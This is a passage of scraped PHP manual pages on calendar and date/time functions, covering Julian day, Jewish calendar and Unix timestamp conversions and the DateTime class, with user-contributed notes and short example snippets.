}
?>
httpwebwitch 22-Jun-2004 07:37
JD days may have decimal fractions which correspond to the time of day. The Julian day begins at noon, and the decimal fraction measures fractional days until the beginning of the next day at noon.

For instance, Julian Day 2453179.00000 is June 22, 2004, at 12:00pm (noon).

One hour later, it's 2453179.04167
At 2453179.20833 I'll have dinner, and
at 2453179.45833, it's time for the evening news.
After a good night of sleep, my alarm will go off at 2453179.83333,
then at noon on June 23, a new Julian Day begins at 2453180.

To use these functions with fractional days, strip the fractional part with floor(), and apply the function to the integer part.

Then add 12 hours, bringing you to noon of that day. That is the actual time returned by JDToGregorian().

Then add the fractional part of the day, by multiplying the decimal part of the Julian Day by (24*60*60) seconds. This may take you forward or backward to a different Gregorian calendar date.
uni_fl4r3 at t hotmail dot com 14-Sep-2003 05:05
I have made a slight modification to treebe's jd to greg function, this one will transform a unix timestamp to Gregorian day/month/year format...

<?php
function unix_to_greg($unix_timestamp) {
    $julian = floor(((($unix_timestamp / "60") / "60") / "24") + "2440588");
    $julian = $julian - 1721119;
    $calc1 = 4 * $julian - 1;
    $year = floor($calc1 / 146097);
    $julian = floor($calc1 - 146097 * $year);
    $day = floor($julian / 4);
    $calc2 = 4 * $day + 3;
    $julian = floor($calc2 / 1461);
    $day = $calc2 - 1461 * $julian;
    $day = floor(($day + 4) / 4);
    $calc3 = 5 * $day - 3;
    $month = floor($calc3 / 153);
    $day = $calc3 - 153 * $month;
    $day = floor(($day + 5) / 5);
    $year = 100 * $year + $julian;

    if ($month < 10)
    {
        $month = $month + 3;
    }else{
        $month = $month - 9;
        $year = $year + 1;
    }
    return "$day.$month.$year";
}
?>
treebe 31-May-2003 02:01
Julian to Gregorian date change.
If you do not have the calendar extensions loaded this is little function works realy well.

<?php
function jd_to_greg($julian) {
    $julian = $julian - 1721119;
    $calc1 = 4 * $julian - 1;
    $year = floor($calc1 / 146097);
    $julian = floor($calc1 - 146097 * $year);
    $day = floor($julian / 4);
    $calc2 = 4 * $day + 3;
    $julian = floor($calc2 / 1461);
    $day = $calc2 - 1461 * $julian;
    $day = floor(($day + 4) / 4);
    $calc3 = 5 * $day - 3;
    $month = floor($calc3 / 153);
    $day = $calc3 - 153 * $month;
    $day = floor(($day + 5) / 5);
    $year = 100 * $year + $julian;

    if ($month < 10) {
        $month = $month + 3;
    }
    else {
        $month = $month - 9;
        $year = $year + 1;
    }
    return "$day.$month.$year";
}
?>


Converts a Julian day count to a Jewish calendar date

  • « JDToGregorian
  • JDToJulian »
  • PHP Manual
  • Calendar Functions
  • Converts a Julian day count to a Jewish calendar date

jdtojewish

(PHP 4, PHP 5)

jdtojewish — Converts a Julian day count to a Jewish calendar date

Description

string jdtojewish ( int $juliandaycount [, bool $hebrew = false [, int $fl = 0 ]] )

Converts a Julian Day Count to the Jewish Calendar.

Parameters

julianday

A julian day number as integer

hebrew

If the hebrew parameter is set to TRUE, the fl parameter is used for Hebrew, string based, output format.

fl

The available formats are: CAL_JEWISH_ADD_ALAFIM_GERESH, CAL_JEWISH_ADD_ALAFIM, CAL_JEWISH_ADD_GERESHAYIM.

Return Values

The jewish date as a string in the form "month/day/year"

Examples

Example #1 jdtojewish() Example

<?php
echo jdtojewish(gregoriantojd(10, 8, 2002), true,
       CAL_JEWISH_ADD_GERESHAYIM + CAL_JEWISH_ADD_ALAFIM + CAL_JEWISH_ADD_ALAFIM_GERESH);
?>

See Also

  • jewishtojd() - Converts a date in the Jewish Calendar to Julian Day Count
  • cal_from_jd() - Converts from Julian Day Count to a supported calendar

User Contributed Notes

adam at tadam dot co dot il 23-Mar-2012 06:57
<?php
// Hebrew date in hebrew
$str = jdtojewish(gregoriantojd( date('m'), date('d'), date('Y')), true, CAL_JEWISH_ADD_GERESHAYIM + CAL_JEWISH_ADD_ALAFIM + CAL_JEWISH_ADD_ALAFIM_GERESH); // for today
$str1 = iconv ('WINDOWS-1255', 'UTF-8', $str); // convert to utf-8

echo $str1; // for 23/03/2012 will print: כ"ט אדר ה' אלפים תשע"ב

// or
$str = jdtojewish(gregoriantojd( date('m'), date('d'), date('Y')), true, CAL_JEWISH_ADD_GERESHAYIM); // for today
$str1 = iconv ('WINDOWS-1255', 'UTF-8', $str); // convert to utf-8

echo $str1; // for 23/03/2012 will print: כ"ט אדר התשע"ב
?>
erelsgl at gmail dot com 30-Aug-2009 12:28
Sometimes it is useful to have the date in the format YYYY-MM-DD, which is sortable (e.g. you can sort dates by sorting the strings):

<?php
function JDToSortableJewish($jd) {
    return
        preg_replace("|(\d+)/(\d+)/(\d+)|","$3-$1-$2",  // year-month-day
        preg_replace("|/(\d)/|","/0$1/", // add zeros to the day
        preg_replace("|^(\d)/|","0$1/",  // add zeros to the month
        JDToJewish($jd))));
}
?>
erelsgl at gmail dot com 29-Aug-2009 11:01
In Hebrew leap years, the function will return 6 for Adar A, 7 for Adar B, 8 for Nisan, etc.

In Hebrew non-leap years, the function will return 6 for Adar, 8 for Nisan, etc.

i.e., the "real" Adar is Adar A.
asphp at dsgml dot com 28-May-2007 11:10
This function outputs in ISO-8859-8-l.

To convert to unicode UTF-8 do this:

<?php

echo mb_convert_encoding( jdtojewish( unixtojd(), true ), "UTF-8", "ISO-8859-8");

?>
gr8g0thamguy at yahoo dot com 01-Sep-2003 08:39
Based on the code already posted by Dave, I've modified it to display the *current* date on a page:

<?php

$gregorianMonth = date(n);
$gregorianDay = date(j);
$gregorianYear = date(Y);

$jdDate = gregoriantojd($gregorianMonth,$gregorianDay,$gregorianYear);

$hebrewMonthName = jdmonthname($jdDate,4);

$hebrewDate = jdtojewish($jdDate);

list($hebrewMonth, $hebrewDay, $hebrewYear) = split('/',$hebrewDate);

echo "$hebrewDay $hebrewMonthName $hebrewYear";
?>
dave_at_mitzvahweb.com 05-Mar-2002 01:04
There's probably a simpler way to do this, but I needed to convert a Gregorian date to a Hebrew one and display it with the Hebrew month name (not the number).

Perhaps it can help somebody...

<?php

//enter your Gregorian date with the variables $gregorianMonth, $gregorianDay, and $gregorianYear using the numerical representation of the month

$jdDate = gregoriantojd ( $gregorianMonth, $gregorianDay, $gregorianYear);

$gregorianMonthName = jdmonthname ( $jdDate, 1 );

$hebrewDate = jdtojewish ($jdDate);

list ($hebrewMonth, $hebrewDay, $hebrewYear) = split ('/', $hebrewDate);

$hebrewMonthName = jdmonthname ( $jdDate, 4);

 echo "Your date in Hebrew would read: $hebrewDay $hebrewMonthName $hebrewYear";

?>


Converts a Julian Day Count to a Julian Calendar Date

  • « jdtojewish
  • jdtounix »
  • PHP Manual
  • Calendar Functions
  • Converts a Julian Day Count to a Julian Calendar Date

JDToJulian

(PHP 4, PHP 5)

JDToJulian — Converts a Julian Day Count to a Julian Calendar Date

Description

string jdtojulian ( int $julianday )

Converts Julian Day Count to a string containing the Julian Calendar Date in the format of "month/day/year".

Parameters

julianday

A julian day number as integer

Return Values

The julian date as a string in the form "month/day/year"

See Also

  • juliantojd() - Converts a Julian Calendar date to Julian Day Count
  • cal_from_jd() - Converts from Julian Day Count to a supported calendar

User Contributed Notes

There are no user contributed notes for this page.


Convert Julian Day to Unix timestamp

  • « JDToJulian
  • JewishToJD »
  • PHP Manual
  • Calendar Functions
  • Convert Julian Day to Unix timestamp

jdtounix

(PHP 4, PHP 5)

jdtounix — Convert Julian Day to Unix timestamp

Description

int jdtounix ( int $jday )

This function will return a Unix timestamp corresponding to the Julian Day given in jday or FALSE if jday is not inside the Unix epoch (Gregorian years between 1970 and 2037 or 2440588 <= jday <= 2465342 ). The time returned is localtime (and not GMT).

Parameters

jday

A julian day number between 2440588 and 2465342.

Return Values

The unix timestamp for the start of the given julian day.

See Also

  • unixtojd() - Convert Unix timestamp to Julian Day

User Contributed Notes

Saeed Hubaishan 23-Oct-2014 03:11
unixtojd() assumes that your timestamp is in GMT, but jdtounix() returns a timestamp in localtime.
so
<?php
$d1=jdtogregorian(unixtojd(time()));
$d2= gmdate("m/d/Y");
$d3=date("m/d/Y");
?>
$d1 always equals $d2 but $d1 may differ from $d3
fabio at llgp dot org 31-Aug-2006 11:14
If you need an easy way to convert a decimal julian day to an unix timestamp you can use:

$unixTimeStamp = ($julianDay - 2440587.5) * 86400;

2440587.5 is the julian day at 1/1/1970 0:00 UTC
86400 is the number of seconds in a day
27-Jan-2005 03:50
Warning: the calender functions involving julian day operations seem to ignore the decimal part of the julian day count.

This means that the returned date is wrong 50% of the time, since a julian day starts at decimal .5 .  Take care!!
seb at carbonauts dot com 21-Oct-2003 09:10
Remember that unixtojd() assumes your timestamp is in GMT, but jdtounix() returns a timestamp in localtime.

This fooled me a few times.

So if you have:

$timestamp1 = time();
$timestamp2 = jdtounix(unixtojd($timestamp1));

Unless your localtime is the same as GMT, $timestamp1 will not equal $timestamp2.
pipian at pipian dot com 12-Jun-2003 06:29
Remember that UNIX timestamps indicate a number of seconds from midnight of January 1, 1970 on the Gregorian calendar, not the Julian Calendar.


Converts a date in the Jewish Calendar to Julian Day Count

  • « jdtounix
  • JulianToJD »
  • PHP Manual
  • Calendar Functions
  • Converts a date in the Jewish Calendar to Julian Day Count

JewishToJD

(PHP 4, PHP 5)

JewishToJD — Converts a date in the Jewish Calendar to Julian Day Count

Description

int jewishtojd ( int $month , int $day , int $year )

Although this function can handle dates all the way back to the year 1 (3761 B.C.), such use may not be meaningful. The Jewish calendar has been in use for several thousand years, but in the early days there was no formula to determine the start of a month. A new month was started when the new moon was first observed.

Parameters

month

The month as a number from 1 to 13

day

The day as a number from 1 to 30

year

The year as a number between 1 and 9999

Return Values

The julian day for the given jewish date as an integer.

See Also

  • jdtojewish() - Converts a Julian day count to a Jewish calendar date
  • cal_to_jd() - Converts from a supported calendar to Julian Day Count

User Contributed Notes

erelsgl dot NOSPAM at cs dot technion dot ac dot il 20-Sep-2006 11:21
JewishToJD returns 0 when the day number is 31 or more.

However, when the day number is 30, JewishToJD returns a valid Julian Day, even when the month only has 29 days. So, for example:
<?php
JDToJewish(JewishToJD(4,30,5767)) === "5/1/5767"
?>
erelsgl dot NOSPAM at cs dot technion dot ac dot il 19-Sep-2006 02:55
For non-leap years, this function returns the same for month 6 (Adar I) and month 7 (Adar II), so, for example:

<?php
JewishToJD(6,15,5766) === JewishToJD(7,15,5766)

JDToJewish(JewishToJD(7,15,5766)) === '6/15/5766'
?>


Converts a Julian Calendar date to Julian Day Count

  • « JewishToJD
  • unixtojd »
  • PHP Manual
  • Calendar Functions
  • Converts a Julian Calendar date to Julian Day Count

JulianToJD

(PHP 4, PHP 5)

JulianToJD — Converts a Julian Calendar date to Julian Day Count

Description

int juliantojd ( int $month , int $day , int $year )

Valid Range for Julian Calendar 4713 B.C. to 9999 A.D.

Although this function can handle dates all the way back to 4713 B.C., such use may not be meaningful. The calendar was created in 46 B.C., but the details did not stabilize until at least 8 A.D., and perhaps as late at the 4th century. Also, the beginning of a year varied from one culture to another - not all accepted January as the first month.

Caution

Remember, the current calendar system being used worldwide is the Gregorian calendar. gregoriantojd() can be used to convert such dates to their Julian Day count.

Parameters

month

The month as a number from 1 (for January) to 12 (for December)

day

The day as a number from 1 to 31

year

The year as a number between -4713 and 9999

Return Values

The julian day for the given julian date as an integer.

See Also

  • jdtojulian() - Converts a Julian Day Count to a Julian Calendar Date
  • cal_to_jd() - Converts from a supported calendar to Julian Day Count

User Contributed Notes

There are no user contributed notes for this page.


Convert Unix timestamp to Julian Day

  • « JulianToJD
  • Date/Time »
  • PHP Manual
  • Calendar Functions
  • Convert Unix timestamp to Julian Day

unixtojd

(PHP 4, PHP 5)

unixtojd — Convert Unix timestamp to Julian Day

Description

int unixtojd ([ int $timestamp = time() ] )

Return the Julian Day for a Unix timestamp (seconds since 1.1.1970), or for the current day if no timestamp is given.

Parameters

timestamp

A unix timestamp to convert.

Return Values

A julian day number as integer.

See Also

  • jdtounix() - Convert Julian Day to Unix timestamp

User Contributed Notes

hrabi at linuxwaves dot com 29-Mar-2007 03:02
according to http://www.decimaltime.hynes.net/dates.html#jd and reading "X. Calendar Functions" on this side, it seems that php "jd" is precisely mean as "Chronological Julian Day" (should it be named cjd, and primarily strictly mentioned - isn't it?), used for covnersion between calendar systems. Than it's ok (but Incomplete manual is strongly confusing here IMHO).
Even that, cJD is adjusted to a local time, so... I am rather babeled now, so nothing else :-).
hrabi at linuxwaves dot com 29-Mar-2007 12:33
This is unusable. Julian Day start at noon, not midnight. It's better to use Fabio solution (however there is a lurk problem with leap second).

<?php
function mmd($txt, $str_time) {
   $t = strtotime($str_time);
   $j = unixtojd($t);
   $s = gmstrftime('%D %T %Z', $t);
   $j_fabio = $t / 86400 + 2440587.5;

   printf("${txt} => (%s) %s, %s U, %s J, or %s J<br>\n", $str_time, $s, $t, $j, $j_fabio);
}

//$xt = strtotime("1.1.1970 15:00.00 GMT");
$sam = "9.10.1995 02:00.01 GMT";
$spm = "9.10.1995 22:00.01 GMT";

// unixtojd for $spm returns 2450000 (OK), but for $sam returns 2450000 too! (it is wrong).
mmd("am", $sam);  // should be 2449999 (+ 0.58334)
mmd("pm", $spm);  // should be 2450000 (+ 0.41668)
?>

reference
unix time, and UTC, TAI, ntp, ... problems: http://en.wikipedia.org/wiki/Unix_time
Julian Date Converter: http://aa.usno.navy.mil/data/docs/JulianDate.html
history overview: http://parris.josh.com.au/humour/work/17Nov1858.shtml
fabio at llgp dot org 31-Aug-2006 11:09
If you need an easy way to convert an unix timestamp to a decimal julian day you can use:

$julianDay = $unixTimeStamp / 86400 + 2440587.5;

86400 is the number of seconds in a day;
2440587.5 is the julian day at 1/1/1970 0:00 UTC.
11-Aug-2006 04:22
Its clearly stated that this function returns the Julian Day, not Julian Day + time.

If you want the time with it you will have to do something like:

$t=time();
$jd=unixtojd($t)+($t%60*60*24)/60*60*24;
johnston at capsaicin dot ca 19-Nov-2003 10:43
Also note that epoch is in UTC time (epoch is a specific point in time - epoch is not different for every time zone), so be aware of timezone complexities.
pipian at pipian dot com 12-Jun-2003 06:29
Remember that UNIX timestamps indicate a number of seconds from midnight of January 1, 1970 on the Gregorian calendar, not the Julian Calendar.


Date and Time

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • DateTime — The DateTime class
    • DateTime::add — Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object
    • DateTime::__construct — Returns new DateTime object
    • DateTime::createFromFormat — Returns new DateTime object formatted according to the specified format
    • DateTime::getLastErrors — Returns the warnings and errors
    • DateTime::modify — Alters the timestamp
    • DateTime::__set_state — The __set_state handler
    • DateTime::setDate — Sets the date
    • DateTime::setISODate — Sets the ISO date
    • DateTime::setTime — Sets the time
    • DateTime::setTimestamp — Sets the date and time based on an Unix timestamp
    • DateTime::setTimezone — Sets the time zone for the DateTime object
    • DateTime::sub — Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object
  • DateTimeImmutable — The DateTimeImmutable class
    • DateTimeImmutable::add — Adds an amount of days, months, years, hours, minutes and seconds
    • DateTimeImmutable::__construct — Returns new DateTimeImmutable object
    • DateTimeImmutable::createFromFormat — Returns new DateTimeImmutable object formatted according to the specified format
    • DateTimeImmutable::createFromMutable — Returns new DateTimeImmutable object encapsulating the given DateTime object
    • DateTimeImmutable::getLastErrors — Returns the warnings and errors
    • DateTimeImmutable::modify — Creates a new object with modified timestamp
    • DateTimeImmutable::__set_state — The __set_state handler
    • DateTimeImmutable::setDate — Sets the date
    • DateTimeImmutable::setISODate — Sets the ISO date
    • DateTimeImmutable::setTime — Sets the time
    • DateTimeImmutable::setTimestamp — Sets the date and time based on an Unix timestamp
    • DateTimeImmutable::setTimezone — Sets the time zone
    • DateTimeImmutable::sub — Subtracts an amount of days, months, years, hours, minutes and seconds
  • DateTimeInterface — The DateTimeInterface interface
    • DateTime::diff — Returns the difference between two DateTime objects
    • DateTime::format — Returns date formatted according to given format
    • DateTime::getOffset — Returns the timezone offset
    • DateTime::getTimestamp — Gets the Unix timestamp
    • DateTime::getTimezone — Return time zone relative to given DateTime
    • DateTime::__wakeup — The __wakeup handler
  • DateTimeZone — The DateTimeZone class
    • DateTimeZone::__construct — Creates new DateTimeZone object
    • DateTimeZone::getLocation — Returns location information for a timezone
    • DateTimeZone::getName — Returns the name of the timezone
    • DateTimeZone::getOffset — Returns the timezone offset from GMT
    • DateTimeZone::getTransitions — Returns all transitions for the timezone
    • DateTimeZone::listAbbreviations — Returns associative array containing dst, offset and the timezone name
    • DateTimeZone::listIdentifiers — Returns a numerically indexed array containing all defined timezone identifiers
  • DateInterval — The DateInterval class
    • DateInterval::__construct — Creates a new DateInterval object
    • DateInterval::createFromDateString — Sets up a DateInterval from the relative parts of the string
    • DateInterval::format — Formats the interval
  • DatePeriod — The DatePeriod class
    • DatePeriod::__construct — Creates a new DatePeriod object
  • Date/Time Functions
    • checkdate — Validate a Gregorian date
    • date_add — Alias of DateTime::add
    • date_create_from_format — Alias of DateTime::createFromFormat
    • date_create_immutable_from_format — Alias of DateTimeImmutable::createFromFormat
    • date_create_immutable — Alias of DateTimeImmutable::__construct
    • date_create — Alias of DateTime::__construct
    • date_date_set — Alias of DateTime::setDate
    • date_default_timezone_get — Gets the default timezone used by all date/time functions in a script
    • date_default_timezone_set — Sets the default timezone used by all date/time functions in a script
    • date_diff — Alias of DateTime::diff
    • date_format — Alias of DateTime::format
    • date_get_last_errors — Alias of DateTime::getLastErrors
    • date_interval_create_from_date_string — Alias of DateInterval::createFromDateString
    • date_interval_format — Alias of DateInterval::format
    • date_isodate_set — Alias of DateTime::setISODate
    • date_modify — Alias of DateTime::modify
    • date_offset_get — Alias of DateTime::getOffset
    • date_parse_from_format — Get info about given date formatted according to the specified format
    • date_parse — Returns associative array with detailed info about given date
    • date_sub — Alias of DateTime::sub
    • date_sun_info — Returns an array with information about sunset/sunrise and twilight begin/end
    • date_sunrise — Returns time of sunrise for a given day and location
    • date_sunset — Returns time of sunset for a given day and location
    • date_time_set — Alias of DateTime::setTime
    • date_timestamp_get — Alias of DateTime::getTimestamp
    • date_timestamp_set — Alias of DateTime::setTimestamp
    • date_timezone_get — Alias of DateTime::getTimezone
    • date_timezone_set — Alias of DateTime::setTimezone
    • date — Format a local time/date
    • getdate — Get date/time information
    • gettimeofday — Get current time
    • gmdate — Format a GMT/UTC date/time
    • gmmktime — Get Unix timestamp for a GMT date
    • gmstrftime — Format a GMT/UTC time/date according to locale settings
    • idate — Format a local time/date as integer
    • localtime — Get the local time
    • microtime — Return current Unix timestamp with microseconds
    • mktime — Get Unix timestamp for a date
    • strftime — Format a local time/date according to locale settings
    • strptime — Parse a time/date generated with strftime
    • strtotime — Parse about any English textual datetime description into a Unix timestamp
    • time — Return current Unix timestamp
    • timezone_abbreviations_list — Alias of DateTimeZone::listAbbreviations
    • timezone_identifiers_list — Alias of DateTimeZone::listIdentifiers
    • timezone_location_get — Alias of DateTimeZone::getLocation
    • timezone_name_from_abbr — Returns the timezone name from abbreviation
    • timezone_name_get — Alias of DateTimeZone::getName
    • timezone_offset_get — Alias of DateTimeZone::getOffset
    • timezone_open — Alias of DateTimeZone::__construct
    • timezone_transitions_get — Alias of DateTimeZone::getTransitions
    • timezone_version_get — Gets the version of the timezonedb
  • Supported Date and Time Formats
    • Time Formats
    • Date Formats
    • Compound Formats
    • Relative Formats
  • List of Supported Timezones
    • Africa
    • America
    • Antarctica
    • Arctic
    • Asia
    • Atlantic
    • Australia
    • Europe
    • Indian
    • Pacific
    • Others

User Contributed Notes

rjstatic 20-Mar-2011 07:44
A very verbose loop.  The construct function for the DateTime class isn't working properly for me but this works.
    <?php

    $date = "2011/03/20";
    $date = explode("/", $date);

    $time = "07:16:17";
    $time = explode(":", $time);

    $tz_string = "America/Los_Angeles"; // Use one from list of TZ names http://php.net/manual/en/timezones.php
    $tz_object = new DateTimeZone($tz_string);

    $datetime = new DateTime();
    $datetime->setTimezone($tz_object);
    $datetime->setDate($date[0], $date[1], $date[2]);
    $datetime->setTime($time[0], $time[1], $time[2]);

    print $datetime->format('Y/m/d H:i:s'); // Prints "2011/03/20 07:16:17"

    ?>
Moo0z0r 21-Jun-2010 08:58
I think it's important to mention with the DateTime class that if you're trying to create a system that should store UNIX timestamps in UTC/GMT, and then convert them to a desired custom time-zone when they need to be displayed, using the following code is a good idea:

<?php
date_default_timezone_set('UTC');
?>

Even if you use something like:

<?php
$date->setTimezone( new DateTimeZone('UTC') );
?>

... before you store the value, it doesn't seem to work because PHP is already trying to convert it to the default timezone.
kapoor_rajiv at hotmail dot com 12-Oct-2009 01:59
We can also get the submitted datetime (e.g. 2009-11-06 07:03:41) using the following:

<?php
$DateOfRequest = date("Y-m-d H:i:s", strtotime($_REQUEST["DateOfRequest"]));
?>

Or another good example of getting DateTime:

<?php
$DateOfRequest = date("Y-m-d H:i:s", mktime($_REQUEST["Hour"],$_REQUEST["Min"],$_REQUEST
["Sec"],$_REQUEST["Month"],$_REQUEST["Day"],$_REQUEST["Year"]));
?>
zoe at monkeehouse dot com 25-Oct-2008 12:52
Should you want to convert between HH:MM:SS and plain seconds like in MySQL, these functions should do the trick:

<?php
function time_to_sec($time) {
    $hours = substr($time, 0, -6);
    $minutes = substr($time, -5, 2);
    $seconds = substr($time, -2);

    return $hours * 3600 + $minutes * 60 + $seconds;
}

function sec_to_time($seconds) {
    $hours = floor($seconds / 3600);
    $minutes = floor($seconds % 3600 / 60);
    $seconds = $seconds % 60;

    return sprintf("%d:%02d:%02d", $hours, $minutes, $seconds);
}
?>


Introduction

These functions allow you to get the date and time from the server where your PHP scripts are running. You can use these functions to format the date and time in many different ways.

The date and time information is internally stored as a 64-bit number so all conceivably useful dates (including negative years) are supported. The range is from about 292 billion years in the past to the same in the future.

Note: Please keep in mind that these functions are dependent on the locale settings of your server. Make sure to take daylight saving time (use e.g. $date = strtotime('+7 days', $date) and not $date += 7*24*60*60) and leap years into consideration when working with these functions.

Note: The timezones referenced in this section can be found in the List of Supported Timezones.

User Contributed Notes

There are no user contributed notes for this page.


Installation

There is no installation needed to use these functions; they are part of the PHP core.

Note: Getting the latest timezone database

The latest version of the timezone database can be installed via PECL's » timezonedb.

Note: Experimental DateTime support in PHP 5.1.x

Although the DateTime class (and related functions) are enabled by default since PHP 5.2.0, it is possible to add experimental support into PHP 5.1.x by using the following flag before configure/compile: CFLAGS=-DEXPERIMENTAL_DATE_SUPPORT=1

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Date/Time Configuration Options
Name | Default | Changeable | Changelog
date.default_latitude | "31.7667" | PHP_INI_ALL | Available since PHP 5.0.0.
date.default_longitude | "35.2333" | PHP_INI_ALL | Available since PHP 5.0.0.
date.sunrise_zenith | "90.583333" | PHP_INI_ALL | Available since PHP 5.0.0.
date.sunset_zenith | "90.583333" | PHP_INI_ALL | Available since PHP 5.0.0.
date.timezone | "" | PHP_INI_ALL | Available since PHP 5.1.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

date.default_latitude float

The default latitude.

date.default_longitude float

The default longitude.

date.sunrise_zenith float

The default sunrise zenith.

date.sunset_zenith float

The default sunset zenith.

date.timezone string

The default timezone used by all date/time functions. Prior to PHP 5.4.0, this would only work if the TZ environment variable was not set. The precedence order for which timezone is used if none is explicitly mentioned is described in the date_default_timezone_get() page. See List of Supported Timezones for a list of supported timezones.

Note: The first four configuration options are currently only used by date_sunrise() and date_sunset().

User Contributed Notes

Anonymous 11-Mar-2014 12:57
You need to add quotes.
For example:
date.timezone = "Europe/Whatever"
Florian Heigl 09-Mar-2014 08:47
All we need here is a proper syntax example like Europe/Paris.
thx.


Predefined Constants

The DATE_ constants are defined since PHP 5.1.1 and they offer standard date representations, which can be used along with the date format functions (like date()).

Following constants exists since PHP 5.1.2 and specify a format returned by functions date_sunrise() and date_sunset().

SUNFUNCS_RET_TIMESTAMP (integer)
Timestamp
SUNFUNCS_RET_STRING (integer)
Hours:minutes (example: 08:02)
SUNFUNCS_RET_DOUBLE (integer)
Hours as floating point number (example 8.75)

User Contributed Notes

There are no user contributed notes for this page.


The DateTime class

(PHP 5 >= 5.2.0)

Introduction

Representation of date and time.

Class synopsis

DateTime implements DateTimeInterface {
/* Constants */
const string ATOM = "Y-m-d\TH:i:sP" ;
const string COOKIE = "l, d-M-Y H:i:s T" ;
const string ISO8601 = "Y-m-d\TH:i:sO" ;
const string RFC822 = "D, d M y H:i:s O" ;
const string RFC850 = "l, d-M-y H:i:s T" ;
const string RFC1036 = "D, d M y H:i:s O" ;
const string RFC1123 = "D, d M Y H:i:s O" ;
const string RFC2822 = "D, d M Y H:i:s O" ;
const string RFC3339 = "Y-m-d\TH:i:sP" ;
const string RSS = "D, d M Y H:i:s O" ;
const string W3C = "Y-m-d\TH:i:sP" ;
/* Methods */
public __construct ([ string $time = "now" [, DateTimeZone $timezone = NULL ]] )
public DateTime add ( DateInterval $interval )
public static DateTime createFromFormat ( string $format , string $time [, DateTimeZone $timezone ] )
public static array getLastErrors ( void )
public DateTime modify ( string $modify )
public static DateTime __set_state ( array $array )
public DateTime setDate ( int $year , int $month , int $day )
public DateTime setISODate ( int $year , int $week [, int $day = 1 ] )
public DateTime setTime ( int $hour , int $minute [, int $second = 0 ] )
public DateTime setTimestamp ( int $unixtimestamp )
public DateTime setTimezone ( DateTimeZone $timezone )
public DateTime sub ( DateInterval $interval )
public DateInterval diff ( DateTimeInterface $datetime2 [, bool $absolute = false ] )
public string format ( string $format )
public int getOffset ( void )
public int getTimestamp ( void )
public DateTimeZone getTimezone ( void )
public __wakeup ( void )
}

Predefined Constants

DateTime::ATOM
DATE_ATOM
Atom (example: 2005-08-15T15:52:01+00:00)
DateTime::COOKIE
DATE_COOKIE
HTTP Cookies (example: Monday, 15-Aug-2005 15:52:01 UTC)
DateTime::ISO8601
DATE_ISO8601
ISO-8601 (example: 2005-08-15T15:52:01+0000)
DateTime::RFC822
DATE_RFC822
RFC 822 (example: Mon, 15 Aug 05 15:52:01 +0000)
DateTime::RFC850
DATE_RFC850
RFC 850 (example: Monday, 15-Aug-05 15:52:01 UTC)
DateTime::RFC1036
DATE_RFC1036
RFC 1036 (example: Mon, 15 Aug 05 15:52:01 +0000)
DateTime::RFC1123
DATE_RFC1123
RFC 1123 (example: Mon, 15 Aug 2005 15:52:01 +0000)
DateTime::RFC2822
DATE_RFC2822
RFC 2822 (example: Mon, 15 Aug 2005 15:52:01 +0000)
DateTime::RFC3339
DATE_RFC3339
Same as DATE_ATOM (since PHP 5.1.3)
DateTime::RSS
DATE_RSS
RSS (example: Mon, 15 Aug 2005 15:52:01 +0000)
DateTime::W3C
DATE_W3C
World Wide Web Consortium (example: 2005-08-15T15:52:01+00:00)

Changelog

Version | Description
5.5.0 | The class now implements DateTimeInterface.
5.4.24 | The COOKIE constant was changed to reflect RFC 1036 using a four digit year rather than a two digit year (RFC 850) as prior versions.
5.2.2 | DateTime object comparison with the comparison operators changed to work as expected. Previously, all DateTime objects were considered equal (using ==).

Table of Contents

  • DateTime::add — Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object
  • DateTime::__construct — Returns new DateTime object
  • DateTime::createFromFormat — Returns new DateTime object formatted according to the specified format
  • DateTime::getLastErrors — Returns the warnings and errors
  • DateTime::modify — Alters the timestamp
  • DateTime::__set_state — The __set_state handler
  • DateTime::setDate — Sets the date
  • DateTime::setISODate — Sets the ISO date
  • DateTime::setTime — Sets the time
  • DateTime::setTimestamp — Sets the date and time based on an Unix timestamp
  • DateTime::setTimezone — Sets the time zone for the DateTime object
  • DateTime::sub — Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object

User Contributed Notes

julie at earthshod dot co dot uk 30-Jan-2014 01:55
It isn't obvious from the above, but you can insert a letter of the alphabet directly into the date string by escaping it with a backslash in the format string.  Note that if you are using "double" speech marks around the format string, you will have to further escape each backslash with another backslash!  If you are using 'single' speech marks around the format string, then you only need one backslash.

For instance, to create a string like "Y2014M01D29T1633", you *could* use string concatenation like so:

<?php
    $dtstring = "Y" . date("Y", $when) . "M" . date("m", $when) . "D" . date("d", $when) . "T" . date("Hi", $when);
?>

but you could also escape the letters with backslashes like so:

<?php
    $dtstring1 = date('\YY\Mm\Dd\THi', $when);
    $dtstring2 = date("\\YY\\Mm\\Dd\\THi", $when);
?>

This method involves fewer function calls, so probably is slightly quicker; and also is immune to race conditions if you are not specifying the second argument.  [It's possible that you could evaluate date("d") just *before* midnight and date("H") just *after* midnight.  This will not give you the result you were expecting.]
stevenmattera at gmail dot com 10-Jan-2014 11:04
This caused some confusion with a blog I was working on and just wanted to make other people aware of this. If you use createFromFormat to turn a date into a timestamp it will include the current time. For example:

<?php
$publishDate = DateTime::createFromFormat('m/d/Y', '1/10/2014');
echo $publishDate->getTimestamp();
?>

Would not output the expected "1389312000" instead it would output something more like "1389344025". To fix this you would want to do:

<?php
$publishDate = DateTime::createFromFormat('m/d/Y', '1/10/2014');
$publishDate->setTime(0, 0, 0);
echo $publishDate->getTimestamp();
?>

I hope this helps someone!
James 10-Oct-2013 12:44
Be aware that DateTime may ignore fractional seconds for some formats, but not when using the ISO 8601 time format, as documented by this bug:

https://bugs.php.net/bug.php?id=51950

$dateTime = DateTime::createFromFormat(
    DateTime::ISO8601,
    '2009-04-16T12:07:23.596Z'
);
// bool(false)
tim at timfennis dot com 02-Mar-2013 12:20
There is a subtle difference between the following two statments which causes JavaScript's Date object on iPhones to fail.

<?php
$objDateTime = new DateTime('NOW');
echo $objDateTime->format('c'); // ISO8601 formated datetime
echo $objDateTime->format(DateTime::ISO8601); // Another way to get an ISO8601 formatted string

/**
On my local machine this results in:

2013-03-01T16:15:09+01:00
2013-03-01T16:15:09+0100

